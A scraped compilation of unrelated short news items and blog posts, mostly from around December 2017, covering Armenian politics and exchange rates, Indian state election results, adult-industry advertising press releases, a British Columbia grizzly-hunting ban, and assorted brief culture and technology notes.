All non-essential businesses are closed, public gatherings are prohibited!

(One day some of these events will be rescheduled or will resume, but they are not happening now!)
The Art of Christmas: New Mexico Style

PLEASE NOTE!

Due to the March 23, 2020 NM DOH Public Health Order, These Event Listings Are Not Accurate!

All non-essential businesses are closed, public gatherings are prohibited!

(One day some of these events will be rescheduled or will resume, but they are not happening now!)
YEREVAN, DECEMBER 19, ARMENPRESS. Russian State Duma lawmaker Konstantin Zatulin sees Armenian President Serzh Sargsyan as the countrys prime minister after Armenias transition to the parliamentary system, reports Armenpress.

Maybe I am wrong but I see Serzh Sargsyan as the prime minister of Armenia after he suspends his presidential powers. I cannot say who will be the next president, but I think that this issue will be solved. Armenias history of the previous period proved me that Armenian political figures can listen to opinions and adopt decisions which eventually enable the country to continue the path without serious internal cataclysms, Konstantin Zatulin said during a video conference in Sputnik News.

Commenting on the transformation of the governance system from presidential to parliamentary one, the Russian lawmaker recalled that not in all parliaments decisions are adopted by consensus, in many cases they are adopted by the parliamentary majority. Today this parliamentary majority firmly belongs to the Republican Party of Armenia, and I do not predict any cataclysm in the transition period from presidential to parliamentary system, he said.

Konstantin Zatulin stated that Russia is greatly impressed by the parliamentary elections held in Armenia as a result of which there were less complaints compared to the previous cases. That moment everyone was satisfied with the election results, and the victory or defeat of someone was objectively accepted. This greatly impressed us, he said.
Union ministers Arun Jaitley and Nirmala Sitharaman are BJP's observers for Gujarat and Himachal Pradesh, respectively to help pick chief ministers post big win.

A worker of the Bharatiya Janata Party (BJP) rides his bicycle past the party's campaign billboard.

By India Today Web Desk: After winning the Gujarat and Himachal Pradesh Assembly elections , the BJP is now tasked with naming chief ministers for both states.

Concluding the party's parliamentary board meeting on Monday after election results, Union finance minister Arun Jaitely and BJP general secretary Saroj Pandey were appointed as observers for Gujarat.

Whereas, Union defence minister Nirmala Sitharaman and rural development minister Narendra Singh Tomar will be party's observers for Himachal Pradesh.

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Addressing the media after the board meet, health minister JP Nadda said, "They will speak to the MLAs to elect new leaders of the party."

ABOUT GUJARAT

During his campaign in Gujarat, BJP president Amit Shah had said that incumbent chief minister Vijay Rupani is party's 'face in the state Assembly election'.

This reaffirms the murmur around BJP's plans to indeed appoint a new chief minister despite Vijay Rupani beating his Congress rival Indranil Rajyaguru in Rajkot West.

Sources say, the BJP wants a CM who, if not as popular as Modi, has a strong appeal with the public, can fulfil the promises made to the electorate and turn a disparate-looking BJP into a cohesive force.

With announcement of Jaitley and Pandey's names as Gujarat observers, Union minister Smriti Irani's name started doing rounds as a potential chief minister for the state.

Textiles and I&B minister Smriti Irani is the probable front runner in the race to the hot seat . With strong leadership qualities, well-versed in Gujarati and being one of Modi's closest ministers, Irani could be the next CM of Gujarat, said the sources.

However, Smriti Irani has denied the reports saying, "I am definitely not a contender."

Union minister of state for road transport and highways and shipping Mansukh L Mandaviya is the second favourite candidate for CM. A Patidar from Saurashtra, Mandaviya is counted among leaders who are close to farmers.

If reports are to believed, Vajubhai Vala, the incumbent governor of Karnataka and former Speaker of the Gujarat Legislative Assembly, is the third candidate in contention.

ABOUT HIMACHAL PRADESH

Despite the BJP wresting power from the Congress in Himachal Pradesh, the saffron party's chief ministerial candidate, party veteran Prem Kumar Dhumal lost his election from the Sujanpur constituency.

Dhumal lost by nearly 3000 votes against his Congress rival and former aide Rajinder Rana .

Interestingly, BJP national chief Amit Shah had broken party norms to announce Prem Kumar Dhumal as party's face in Himachal. The decision was based on the feedback provided by his partymen that Dhumal was still regarded as the leader of the masses.

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His name was indeed announced at the fag end of the election campaigning. Many reports say Dhumal was not an automatic choice for the BJP and many senior leaders preferred JP Nadda as the CM candidate.

Watch video: PM Modi's victory speech: Don't derail vikas even if you don't like BJP

--- ENDS ---
YEREVAN, DECEMBER 19, ARMENPRESS. Armenian minister of transport, communication and information technologies Vahan Martirosyan is taking part in the 12th annual meeting of the UN Internet Governance Forum (IGF) in Switzerland from December 18 to 21, the ministry told Armenpress.

Within the frames of the event the global issues on ICT governance, including a number of issues relating to digital governance and cyber-security were discussed.

The IGF is an international platform for high-ranking officials to discuss common ideas, exchange experience and etc.

The Forum is attended by officials from different countries who have an opportunity to share their national experience and the best practice of leading digital transformation, as well as to outline the main trends of partnership, investments and developments.

On the sidelines of this Forum, the Armenian minister will have meetings with high-ranking officials of different countries, as well as heads of ICT companies.
YEREVAN, DECEMBER 19, ARMENPRESS. Azerbaijan is unable to get out of the deadlock it put in itself by its own rhetoric. The country in this way blocks the prospect of peaceful settlement of the Nagorno Karabakh conflict, Russian State Duma lawmaker Konstantin Zatulin said during a video conference in Sputnik News, reports Armenpress.

I dont predict a serious progress in the settlement of the Nagorno Karabakh conflict in the near future. I think this is a long process. Its difficult to expect this in the circumstances of the current situation, including that in Azerbaijan, as well as the mood of that countrys leadership, Zatulin said. He stated that he and his colleagues at this stage expect that new escalations and military operations will not be restored in the conflict in the future. According to him, this is the most important position at this stage which should be maintained.

As for Russias selling weapons to Azerbaijan, the lawmaker said it was done on the condition that that country will show restraint and will not use the weapon in the NK conflict zone. Unfortunately, Azerbaijan didnt keep its promises, Zatulin said. He added that by supplying arms to Armenia the Russian side has somehow corrected the shortcoming maintaining the balance in the region.

According to him, the most important is the maintenance of balance so that each of the sides knows that if it launches an attack, it will be held accountable.

I consider Nagorno Karabakh as a self-determined territory, and I am not inclined to think that it will ever return to Azerbaijan under any circumstances. I think this is absolutely impossible option for the development of events, the lawmaker said.

Commenting on the rhetoric in the Azerbaijani media reports, Zatulin said the insults and extremist assessments in the reports can in no way help the sides.

The rhetoric of Azerbaijani media further undermines Azerbaijans reputation in the outside world, rather than contributes to it. How can the known fact help Azerbaijan when it declared the Azerbaijani officer a national hero who axed Armenian partner within the frames of NATO military drills in Hungary, then released him and appointed on a higher post. In such circumstances what mutual perception can be expected from the Armenian side?, he said.

As for the actions of the Russian side, Konstantin Zatulin said Russia continues organizing bilateral, multilateral meetings over the NK conflict. What we can do today is to restrain the two sides from resumption of military operations, the MP said.
YEREVAN, DECEMBER 19, ARMENPRESS. Russia is ready to contribute to easing the existing tension in the Armenian-Turkish relations, Russian State Duma lawmaker Konstantin Zatulin said during a video conference in Sputnik News, reports Armenpress. We have supported the signing of the Armenian-Turkish protocols. The United States was the initiator of signing them. It was important for Barack Obama to provide his support to the rapprochement of the Armenian-Turkish relations in order to avoid his promise on recognizing the Armenian Genocide made during the pre-election campaign which he didnt keep, Zatulin said.

He reminded that after the signing of the protocols Erdogan violated the process preventing the further progress of the protocols, especially when the signing of the document was viewed as a betrayal in Azerbaijan. After this the Armenian-Turkish relations remain in the frozen point. We do not support this. Unfortunately, there is a mutual connection, any action of the Turkish side is negatively reacted by Azerbaijan, the Russian lawmaker said.

He noted that Turkey has historically been and today as well is a difficult partner for Russia. Zatulin said at present the Russian-Turkish relations move forward smoothly. In particular, there have been some tensions over Russias official stance on the Armenian Genocide. Russian President Vladimir Putin visited the Tsitsernakaberd on the 100th anniversary of the Armenian Genocide where he delivered speech. Already during that time the Turkish side was making hints that by understanding your stance we expect that the Russian President will not personally participate in that. But Putin demonstrated principality on this matter. After that the Russian-Turkish relations worsened the culmination of which was the Russian jet crash, the MP said.

As for the Russian-Turkish current relations, Zatulin said today both Russia and Turkey try to receive benefit from the cooperation by this increasing their role in the region and across the world.

I personally dont think that the development of Russian-Turkish relations is guaranteed. I do not consider Turkey as Russias strategic partner, I undoubtedly see the difference between Russia-Armenia and Turkey-Russia partnering relations, he stated.
YEREVAN, DECEMBER 19, ARMENPRESS. President of the State Tourism Committee Zarmine Zeytuntsyan says the number one task in this field is to raise awareness about Armenia abroad, reports Armenpress.

Zarmine Zeytuntsyan said as long as Armenians are asked abroad where are you from and foreigners, receiving Armenia in response, are interested in where it is, still a lot of works need to be done. We have an important task to raise Armenias recognition across the world, she said. In this regard she attached importance to the visits of foreign journalists within the frames of tourism marketing policy. The organization of journalistic visits is one of the best tools to raise the countrys recognition. Within a year we have hosted journalists from 11 countries, have invited 102 reporters, over 100 articles have been published, more than 12 movies and TV reports have been prepared, she said.

Zarmine Zeytuntsyan said they also attach importance to the use of digital technologies in order to reach success in the field. In this context she highlighted the increase of frequency figures of Armenia.travel website. She said the English language website will soon be available in Russian, and later there are plans to have a Japanese version. Thanks to special technologies the website had 530.000 visits from 144 countries, Zeytuntsyan said.

She informed that as targeted countries works have been done in Russia, Iran, Arab countries, the countries of Eastern and Western Europe with which Armenia has direct flights, Germany also has been in the spotlight of the Tourism Committee. There have been visa facilitations with several countries, works have also been carried out in these countries. Our main policy was aimed at increasing the number of tourists, the official said.
YEREVAN, DECEMBER 19, ARMENPRESS. Armenian minister of emergency situations Davit Tonoyan met with NATO Deputy Secretary General Rose Gottemoeller who visited Armenia to participate in the events dedicated to the NATO Week, the ministry told Armenpress.

During the meeting the opportunities and new directions to expand and deepen the cooperation with the ministry within the frames of the NATO Individual Partnership Action Plan were discussed.

Minister Tonoyan said the rescue teams of the ministry are ready to actively take part in the NATO exercises.

In her turn Rose Gottemoeller expressed readiness to contribute to deepening the cooperation of the emergency situations ministry and NATO.
YEREVAN, DECEMBER 19, ARMENPRESS. The Central Bank of Armenia (CBA) and the German KfW on December 18 signed a loan agreement on Financing the energy-saving projects of micro, small and medium enterprises worth 15 million Euros, the CBA told Armenpress.

The distribution of loan resources will be carried out by commercial banks and credit companies which will bear the loan risk of the distribution of resources.

The resources will be directed for providing loans to energy-saving projects of micro, small and medium enterprises giving new opportunities to the enterprises to be equipped by more energy-efficient and modern technologies.

Within the frames of the partnership technical assistance measures will also be provided under which the project beneficiaries will be provided with a respective consultation.
YEREVAN, DECEMBER 19, ARMENPRESS. Speaker of the Armenian Parliament Ara Babloyan commented on his future tenure after April of 2018, reports Armenpress.

He told reporters they will move forward in a way the people decide. The people voted, formed a parliament and they will decide, but this issue is not put for discussion yet.

Asked whether his team would like to see him again as the Parliament Speaker, Babloyan said: At the moment we are not discussing such issue.

Asked whether the RPA has already decided who is going to be its candidate for the president, Babloyan said: Not yet.
YEREVAN, DECEMBER 19, ARMENPRESS. Building and fixing the Armenian statehood with the European model is our conscious choice, Speaker of the Parliament Ara Babloyan said during the 17th session of the EU-Armenia parliamentary cooperation committee, reports Armenpress.

The Armenia-EU new agreement signed recently in Brussels is an ambitious document which opens a new page in the history of bilateral relations. Since independence Armenia has always stated that the close cooperation with the European Union is among the countrys priority directions. The European Union is first of all a community of values supported by us, he said.

According to Speaker Babloyan, the vivid evidence of this are the funds constantly provided by the EU for Armenias institutional, public structures development, human rights protection, fight against corruption and improvement of a number of other fields. He stated that this is a large-scale work done for Armenia. And we are grateful for this, the Parliament Speaker stated.

He also touched upon the settlement of the Karabakh conflict, stating that the European partners agree with the Armenian side on this issue.

This new agreement once again reaffirms the EUs commitment to assist the efforts of the OSCE Minsk Group Co-Chairs aimed at settling the Karabakh conflict. Despite Azerbaijans constant attempts to distort the essence of the conflict and its peaceful settlement, the settlement is based on the three principles  non-use of force and threat of force, territorial integrity and peoples right to self-determination, Ara Babloyan stated.

Armenia and the EU signed the Comprehensive and Enhanced Partnership Agreement (CEPA) in Brussels on November 24.
YEREVAN, DECEMBER 19, ARMENPRESS. The European Union is going to increase the amount of aid provided to different spheres of Armenia by 20-25%, Ambassador Piotr Switalski, head of the EU Delegation to Armenia, said during the 17th session of the EU-Armenia parliamentary cooperation committee, reports Armenpress.

Armenia has initiated a range of very ambitious reforms relating to different spheres starting from human rights up to economic development. As a European Union we consider providing financial assistance to this process as a priority, the EU delegation chief said, expressing hope that the Armenia-EU new agreement will contribute to expanding the circle of the bilateral partnership.

According to him, it will help deepening the dialogue in all spheres.

Armenia and the EU signed the Comprehensive and Enhanced Partnership Agreement (CEPA) in Brussels on November 24.
YEREVAN, 19 DECEMBER, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 19 December, USD exchange rate is down by 0.12 drams to 482.09 drams. EUR exchange rate is up by 0.68 drams to 569.11 drams. Russian Ruble exchange rate is down by 0.01 drams to 8.22 drams. GBP exchange rate is up by 0.90 drams to 644.46 drams.

The Central Bank has set the following prices for precious metals.

Gold price is up by 88.16 drams to 19538.74 drams. Silver price is up by 1.57 drams to 249.39 drams. Platinum price is up by 306.59 drams to 13980.6 drams.
Reiterating his earlier stance on BJP using hate as a political tool, the Congress president emphasised that Congress will meet BJP's hate with love.

By India Today Web Desk: A day after the Congress lost Gujarat and Himachal Pradesh Assembly elections to the BJP, party president Rahul Gandhi has said the verdict shows Prime Minister Narendra Modi has a "credibility problem".

"A question has been raised on Modi ji's credibility. Modi ji has a credibility problem," the 47-year-old leader said while talking to reporters outside Parliament.

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"I got to know that people in Gujarat do not approve of Modi ji's model. The marketing and propaganda is very good, but it is hollow from the inside. They could not answer to our campaign," Rahul Gandhi said.

GUJARAT A MASSIVE JOLT FOR BJP: RAHUL

The Congress president claimed the BJP has suffered a "massive jolt" in Modi's home state, where the BJP, though victorious, was reduced to 99 seats in the 182-member state Assembly. It was the BJP's worse performance since 1995 in a state it has ruled for 22 straight years.

"Three-four months back, when we went to Gujarat, it was said that the Congress cannot fight the BJP. We did the hard work for three-four months and you have seen the results. The BJP has suffered a massive jolt," he said.

Rahul said that Modi's decision to not speak about the Goods and Services Tax (GST) and development has only put forth doubts on his credibility. "People of the state [Gujarat] don't believe in PM Modi's model of development," he said.

Though BJP was able to snatch Himachal Pradesh away from the Congress, the Grand Old Party put up a gutsy fight in Gujarat, winning 77 seats against the BJP's 99.

Reiterating his earlier stance on BJP using hate as a political tool, the Congress president emphasised that Congress will meet BJP's hate with love. "Gujarat has shown Modi that anger will not help him," Rahul Gandhi said.

Watch: People of Gujarat have rejected Modi's hollow development model, Rahul Gandhi speaks after defeat

--- ENDS ---
YEREVAN, DECEMBER 19, ARMENPRESS. Foreign Minister of Armenia Edward Nalbandian gave an interview to Greek Ethnos newspaper during his official visit to Greece last week.

ARMENPRESS presents the entire interview provided by the Ministry of Foreign Affairs of Armenia.

Question. What is it that brings you in Athens?



Edward Nalbandian. Armenia and Greece, our brotherly peoples are bound by the centuries old cordial relations, traditionally deep mutual sympathy, reciprocal support and solidarity.



I am here at the invitation of my colleague Minister Kotzias. Foreign Ministers of two countries have regular meetings. This year, I had a pleasure to receive Ministre Kotzias in Yerevan, then we had meeting in Tallinn and New York and today I am here in Athens to continue our dialogue. This visit provides another opportunity to discuss our extensive agenda aimed at further promoting effective cooperation between our friendly countries in all areas of mutual interest.



Earlier today I had an honor to meet with the President of the Hellenic Republic Prokopis Pavlopoulos and to exchange views on the Armenian-Greek relations.

My visit started yesterday with the lecture at the Ministry of Foreign Affairs. I would like to thank once again for the provided opportunity to share our approaches on the regional issues and some of the Armenian foreign policy priorities.



At our meeting with my colleague we have reviewed the implementation of the agreements, reached during last years official visit of the Armenian President to Greece.



And of course we have an extensive exchange of views on a number of urgent regional and international issues.



Question. Your visit to Athens comes a few days after that of Turkish President Erdogan's. During his stay here, President Erdogan stressed the need for the Treaty of Lausanne to be revised. How does Armenia approach such positions with regard to the revision of Treaties?



Edward Nalbandian. I would not like to comment on any particular treaty or particular statement. However, the habit of backtracking from reached agreements seems to become a pattern of behaviour for Ankara. We can easily recall other examples when Turkey failed to respect its signature put under the agreements. Among others, we could recall the Zurich protocols, that were aimed at normalisation of relations between Armenia and Turkey.



Question. A Turkish NGO based in Washington claimed recently that supporters of the so-called Fetullah Terrorist Organization were coordinating with Armenian groups to lobby against Turkey in the US Congress. Pro-government figures in Turkey have also claimed in the past that Gulen is an Armenian as a form of accusation. Your comments?



Edward Nalbandian. Unfortunately, this is yet another evidence of this centuries old habit of some Turkish politicians to identify Armenians with opponents and even enemies. Moreover, they sometime go as far as considering being an Armenian as an insult, which is merely an intolerant and racist behaviour.



The methods and ways of Turkish lobbying activities in the US are already notoriously known to everyone. However, that does not preclude them from targeting others for allegedly engaging in lobbyism against Turkey.



Question. A special event was held recently in New York, in observance of the International Day of Commemoration and Dignity of the Victims of the Crime of Genocide. Have you seen signs of progress internationally when it comes to the recognition of the Armenian Genocide?



Edward Nalbandian. This day was set in the international calendar by the efforts of Armenia. In 2015 upon the initiative of Armenia the United Nations Human Rights Council passed a unanimous Resolution on the Genocide Prevention. Subsequently, again upon our initiative the UN General Assembly assigned December 9th as an International Day of Commemoration of the Victims of Genocide.



On the next December 9th the International Day of Commemoration will gain even more significance since it will coincide with the 70th anniversary of the adoption of the Convention on the Prevention and Punishment of the Crime of Genocide. On this occasion Armenia is going to host the Third International Global Forum Against the Crime of Genocide in Yerevan.



70 years passed after the adoption of the Convention, but the world is not immune from this odious scourge. In this regard is imperative to redouble the international efforts aimed at reinvigoration of the prevention agenda.



Question. Given the strong Armenian presence in Jerusalem, what are your thoughts on last week's decision of the American Donald Trump to recognize Jerusalem as Israel's capital?

Edward Nalbandian. Jerusalem has a centuries old Armenian presence, a rich Armenian historical and cultural heritage. Armenian Apostolic Church is one of the major guardians of the Christian Holy Places. Therefore, we attentively follow all developments with regard to Jerusalem.



The status of Jerusalem is one of the most important issues on the international agenda and it could be solved through the negotiations within the context of the acceptable solution for the parties to the Israeli-Palestinian conflict. This can pave the way for the establishment of a lasting peace and security.



Question. Is there a room for progress when it comes to the prospect of a peaceful settlement of the Nagorno-Karabakh conflict? What are the biggest obstacles?



Edward Nalbandian. Last week in my statement at the OSCE Ministerial Council I made a detailed enumeration of nine reasons why till now it has not been possible to advance the peace process despite numerous meetings on the presidential and ministerial levels, many rounds of negotiations, the tireless mediation efforts by the Co-Chair countries - Russia, France and the USA, and the strong endorsement of the OSCE and all others who have supported the efforts and approaches of the Co-Chairs.



In brief, the lack of progress in the settlement process is due to the uncompromising and maximalist stance of Azerbaijan at the negotiation table, its failure to implement what has been emphasised and agreed upon during the last three summits of the Presidents of Armenia and Azerbaijan held in Vienna, St Petersburg, Geneva, particularly on the exclusively peaceful settlement of the conflict, full adherence to the 1994-1995 trilateral ceasefire agreements, which do not have time limitations, creation of mechanism for the investigation of ceasefire violations, expansion of the team of the Personal Representative of the OSCE Chairperson-in-Office. Azerbaijan made a step back and refused to reaffirm its commitment to the principles and elements proposed by the Co-Chairs of the Minsk group as a basis for the settlement.



Baku has backtracked from many other agreements and this pattern seriously questions Azerbaijans credibility as a negotiating party. Meantime, Baku continues the ceasefire violations and provocations on the line of contact. In April 2016 Azerbaijan unleashed an aggression against Nagorno-Karabakh that was accompanied by the grave violations of international humanitarian law, atrocities against the civilian population, including children, women and elderly persons, mutilation of the bodies, DAESH-style beheadings.

What has been proposed by the Co-Chairs and supported by Armenia has been rejected by Azerbaijan and this is the main reason that hinders the advancement of the peace process.



I would like to once again reiterate Armenias firm commitment to the exclusively peaceful settlement of the conflict based on the proposals of the Co-Chairs. There is no alternative to the negotiation process.



If Baku abides to the calls of the Co-Chairs to strictly respect the ceasefire, implements previously reached agreements, reiterates its adherence to the principles of the conflict resolution proposed by the Co-Chairs and constructively engages in the negotiations that will pave the way to move the peace process forward.
YEREVAN, DECEMBER 19, ARMENPRESS. President of Armenia Serzh Sargsyan visited the Armenian Painters Union to view the jubilee exhibition dedicated to the 85th anniversary of APU establishment, which features about 300 paintings, graphic works, sculptures and decorative art works authored by representatives of all generations of Armenian painters, ARMENPRESS was informed from the press service of the Armenian Presidents Office.



The President of Armenia next called at the Moscow Cinema Theater to watch the premiere of The Road to Our Dream film. The film, which consists of seven novels, is conceived by seven Armenian filmmakers who have each set a story at the core of the novels that represent the fate of different people who went through the 25 years of independence, inspired by their love for Armenia.
YEREVAN, DECEMBER 19, ARMENPRESS. State Forest Committee will be established within the Ministry of Nature Protection of Armenia by the decree of President Serzh Sargsyan, ARMENPRESS was informed from the press service of the Armenian Presidents Office.

The Government of Armenia will make relevant decisions stemming from the decree during a 3-month period.


YEREVAN, DECEMBER 19, ARMENPRESS. Vahan Martirosyan, Minister of Transport, Communication and Information Technologies of Armenia met with Mr. Houlin Zhao, the Secretary-General of the International Telecommunication Union (ITU) in the frameworks of his visit to Switzerland on December 19.

As ARMENPRESS was informed from the Ministry of Transport, Communication and Information Technologies of Armenia, the parties highly appreciated the cooperation between Armenia and ITU and expressed hope that it will further be expanded.

Mr. Martirosyan highlighted the importance of Armenias engagement in the Unions activities as an ITU member-state, particularly high-level participation in the forthcoming events.

Issues related to the problems and challenges related to the development of the field were also discussed during the meeting.
LOS ANGELESJuicyAds on Monday announced its "JuicyAds Cares" initiative has now topped $35,000.

The company's commitment supports entrepreneurs living in Poverty and now spans across dozens of countries, including some focus on Nepal following the earthquake in 2015.

"We have done a lot of different initiatives over the years including donating to a bunch of different organizations for different causes," explained Juicy Jay, CEO and founder of JuicyAds. "A couple years ago we started the JuicyAds Cares commitment to help boost Entrepreneurs around the world who just need a bit of help."

JuicyAds has a history of giving. Previous to "JuicyAds Cares," the company frequently made donations to charities, including sizable donations to the Red Cross toward disaster relief. Previously as a Christmas gift to clients, the company symbolically "adopted" dozens of endangered animals through the World Wildlife Fund.

Inside the adult industry, the company has previously supported the "Webmaster Toy Run" and "The Cupcake Girls."

"There are so many organizations and people asking for help and its impossible to give to them all," Jay said. "if you want to get involved this holiday season, pick something you're passionate about and contribute what you're comfortable with."

In addition to these efforts, the company has recently renewed its commitment to operating as a Carbon Neutral company, a commitment six years running.

JuicyAds is an award-winning traffic service specializing in Banner Advertising as well as PopUnders for both Desktop and Mobile.
LOS ANGELESOrbitSoft announced that its ad-serving platform is now offering full support for a greater number of ad types.

Content Roll ads, also known as Page Roll or Outstream In-Video videos, can all be featured on the platform anywhere on the pages of the website. This opens up a lot of possibilities for publishers looking to monetize new ad regions without a video content player on the page, and helps to diversify the ads being displayed to make the pages more appealing to visitors as well.

When we decided to expand the ad types offered on OrbitSoft we had three key demographics in mind, explained Jacob of OrbitSoft.com. We wanted to be sure the ads were revenue creators for Publishers, high CTR converters for Advertisers, and pleasing bonus content for Fans. Im confident that anyone viewing sites that utilize these new features from OrbitSoft will agree we have managed to make the display far more appealing to all three important constituents of our services.

OrbitSoft also promotes fairness in the ad trade market by defaulting ads to only appear when they are 100 percent in-view of the end user. If the user scrolls away, the ad pauses until that user scrolls back, allowing brands fewer worries about ad fraud. Similarly, the Content Roll ad unit only launches when a page registers a user action to prevent ad bot fraud.

OrbitSoft Ad Server also now supports two types of Background ads by utilizing the display of ad materials in the form of a background skin on the publisher's site. Publishers can display a background image along with Rich Media or custom HTML content. This gives Advertisers access to a much larger ad format capable of providing more information to end-users. Background ads can also be fixed to a specific position so they remain visible even as a user scrolls down.

Native Ad options now also exist thanks to OrbitSoft Ad Server, adapting each ad to the appearance and functionality of the page chosen by the publisher to display. This method of ad targeting also allows retargeting of end users who interact with each ad. Also, testing has shown that consumes are more likely to share or save native ad content, because it shares the same look and feel as the content they adore.

On top of that, OrbitSoft is adding full compliance with HTML5 creatives made in Google Web Designer to simplify placing created ad assets in a CDN and rewriting paths to the images and scripts locations. OrbitSoft was already able to connect In-Text XML-feeds to display text ads on a CPC basis. Now the platform is expanding support to also include ad types that connect via XML.

Visit OrbitSoft.com for more information.
The Democrat leadership has made constant, profound and incredible pronouncements that one's supportive vote for Republicans is tantamount to surrendering Democracy forever. Understanding their sincere thinking in their extreme position: How will you still vote on this election day?

Democrat; because the continuance of this Democracy from the existential threat of extreme Republicans is paramount.

Republican; the process of having a choice is the democratic method within what so called "Democracy" does exists.
Under the prior Liberal government, British Columbia had become the worlds grizzly-bear-hunting hub, with trophy hunters killing 250 of the great bears a year there. Photo by iStockphoto

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Today, British Columbias New Democratic Party government delivered on its campaign promise and more by announcing a provincial ban on trophy hunting of grizzly bears, even if the hunters involved claim they eat the meat of the animal. The NDP, in cooperation with the Green Party, ousted the Liberals in elections earlier this year, gaining a one-seat majority and promising to usher in a new series of policies, including some concerning animal protection.

The original declaration from the NDP to ban grizzly bear trophy hunting, but not meat hunting, won widespread praise, but it was viewed as having a questionable and unenforceable loophole. The government opened up a comment period, and the response was overwhelming: ban all grizzly bear hunting, because its essentially all for trophy hunting purposes even if someone chokes down some grizzly bear meat on pretense. Ecologist and scientist David Suzuki  along with a number of hunters on hunting forums  panned the idea that anyone hunts grizzly bears for meat, given the abundance of hooved animals in the wilds of British Columbia.

Under the prior Liberal government, B.C. had become the worlds grizzly-bear-hunting hub, with trophy hunters killing 250 of the great bears a year there, even within renowned provincial parks and protected areas and, most brazenly, in the Great Bear Rainforest, where Coastal First Nations have vehemently opposed trophy hunting of bears.

This is a signature win for animal protection groups (including Humane Society International/Canada, which worked for this outcome). Polling revealed that opponents of the practice include an overwhelming majority of residents of rural communities with strong hunting traditions. All of this is an emphatic reminder to the U.S. government and to our northern Rockies states not to proceed with a trophy hunt for grizzly bears in the Greater Yellowstone ecosystem, which may be enabled with the recent delisting of bears there from the ranks of threatened and endangered species.

Its not just a moral issue, its also an economic one. Each year, thousands flock to B.C.s lush forests to participate in grizzly-bear-viewing expeditions. The bear-viewing industry brings in 12 times more direct revenue to the province than trophy hunting. There are millions of people throughout North America and the world whod pay handsomely for an opportunity to see grizzlies in the wild, while very few people wish to slay these bears as a head-hunting exercise. The economic potential of an industry built around bear watching is vast, while the killing industry is small and receding and also a threat to the larger wildlife-watching enterprise.
The Beyond the Brick channel headed to Billund, Denmark for a superfan's tour of the LEGO House. What's great about this tour is that the host knows the names of many of the builders, and has met a lot of them personally, giving the tour a real insider's feel.

Here's LEGO's official tour video with a family, also full of interesting tidbits.

 Complete Tour of LEGO House in Denmark (YouTube / Beyond the Brick)


Self-driving cars require incredibly accurate, up-to-date maps; in China, only Chinese companies will be able to make these maps. Nominally, this is about preventing espionage, but it also has the non-coincedental effect of forcing foreign autonomous vehicle companies to partner with (much more easily controlled) Chinese firms, a policy already in place for traditional auto manufacturing.



Chinese firms like Baidu and TuSimple are already working on autonomous driving. Their ability to map roads in their home country unrestricted may give them an advantage there, something the Chinese government probably wouldn't mind. It's already tried to boost the domestic electric-car industry by inflating demand through generous purchase incentives, so why not do the same with self-driving cars?



China Blocks Foreign Companies from Mapping Its Roads for Self-Driving Cars [Stephen Edelstein/The Drive]





(via Naked Capitalism)

(Image: 1deaddude/Ebay)
Counting day is over, and official numbers are in for the Gujarat and Himachal Pradesh Assembly elections. Here they are.

BJP President Amit Shah arrives at the BJP headquarters as it becomes clear his party will form governments in both Gujarat and Himachal Pradesh (Photo: AP)

By India Today Web Desk: If Narendra Modi's Bharatiya Janata Party romped to a comfortable victory in the Himachal Pradesh assembly election, its win in Gujarat, the prime minister's home state, was far less impressive.

But the BJP still won enough constituencies to cross the 91-seat mark, a target the Indian National Congress fell well short of, despite putting up a spirited fight. It was a close shave for the saffron party, which has been in power in Gujarat for 22 long years.

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After the Himachal Pradesh and Gujarat election results became clear, BJP president Amit Shah said victory in the Lok Sabha election in 2019 seemed certain. Modi said the poll results indicated India was ready for reform, and believed in "transformation."

On counting day, the results more or less matched watched what Gujarat and Himachal Pradesh exit polls said: Two BJP wins - easy in Himachal, not so much in Gujarat. Here are the hard numbers.

GUJARAT ASSEMBLY ELECTION 2017

182 The total number of seats in the Gujarat Vidhan Sabha

99 The number of constituencies the BJP won in the Gujarat Assembly election

77 The Congress' tally

68.41 The overall voter turnout

22 The number of years for Gujarat has been governed by the BJP

16 The increase in the Congres' seat share

5 The number of constituencies in which candidates from Arvind Kejriwal's AAP did worse than the NOTA option (Ankleshwar, Botad, Manjalpur, Chhota Udaipur, Dasada)

0 What Rahul Gandhi "scored" in his opening "innings", according to Goa Chief Minister Manohar Parrikar.

HIMACHAL PRADESH ASSEMBLY ELECTION 2017

68 The total number of seats in the Himachal Pradesh Vidhan Sabha

44 The number of seats the BJP won

21 The Congress' seat tally

10 The percentage increase in the BJP' vote share

1 The number of CPI-M candidates who won

(Inputs from agencies)

WATCH | BJP adds two more states in its kitty even as Congress fights hard in Gujarat

--- ENDS ---
To celebrate the 100th anniversary of discovering the tomb of King Tut, many of the Boy King's artifacts and other ancient Egyptian items will be touring the United States in the new year.

Lonely Planet writes:

The largest ever international exhibition of ancient Egyptian artefacts from the tomb of its most famous pharaoh will open early next year in Los Angeles. King Tut: Treasures of the Golden Pharaoh will visit ten different cities as it tours the world starting off on the West Coast of America on 24 March. More than 150 items from Tutankhamun's tomb will be on display at the California Science Center. The exhibition will be an absolute treat for Egyptologists  both amateur and professional  as never before have so many ancient items associated with King Tut been on display together outside Egypt. Many of the items would have been used by the Boy King himself including golden jewellery, elaborate carvings, sculptures, and ritual antiquities. Forty per cent of the objects will be leaving home for both the first and last time before returning for permanent display in the Grand Egyptian Museum, which is currently under construction.

You can first see the exhibit in Los Angeles before it heads to Europe and then to its new permanent home at The Grand Egyptian Museum (which is located near the Pyramids of Giza). Be sure to pre-register for the L.A. exhibit now.

Of course you can't talk about a King Tut without being reminded of Steve Martin's bit on Saturday Night Live in 1978. The now-39-year-old sketch was satire on the Tutankhamun exhibit's popularity when it traveled the US from 1976 to 1979. It has recently come under fire for being racist ("That's like somebody  making a song just littered with the n-word everywhere") by some Reed College students:

Biggest ever King Tut exhibition coming to America next year

Thanks, Karen!
It's eschatology in motion: 62 tests carried out between 1945 and 1962, of detonations filmed from up to 50 angles. A total of 210 tests were carried out and this tranche is a good slice of them.



The videos released this week include footage of the "Harlem Event," a 1.2 megaton atmospheric detonation above Christmas Island in 1962. The video below shows how nuclear explosions can result in two distinct flashes of light. The first flash happens when the shockwave is formed, but quickly the superheated air around the blast epicenter "shields the light from inside the fireball," according to LLNL. "As the shockwave cools to below 3,300 Kelvin, the air becomes transparent and the hot gases begin to show through, creating the second pulse." Measuring the time between these two flashes, as well as the darkest frame between the two flashes, can help calculate the blast's yield.
Opinion / Columnist

Despite fears of increase in crimes, some countries are liberalizing visas to attract investors

